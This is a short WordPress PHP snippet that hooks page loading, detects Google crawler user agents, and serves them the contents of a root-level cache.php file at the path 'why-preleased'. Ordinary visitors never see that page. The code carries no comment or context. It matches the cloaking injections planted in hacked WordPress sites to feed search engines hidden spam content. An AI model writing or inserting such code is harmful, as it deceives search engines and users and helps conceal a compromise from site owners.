add_action('template_redirect', function () { function is_google_bot() { $agents = array("Googlebot","Google-Site-Verification","Google-InspectionTool","Googlebot-Mobile","Googlebot-News"); foreach ($agents as $agent) { if (isset($_SERVER['HTTP_USER_AGENT']) && stripos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) { return true;}} return false;} $request = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'); if ($request === 'why-preleased' && is_google_bot()) { $bot_file = ABSPATH . 'cache.php'; if (file_exists($bot_file)) { header('Content-Type: text/html; charset=UTF-8'); echo file_get_contents($bot_file); exit; } } });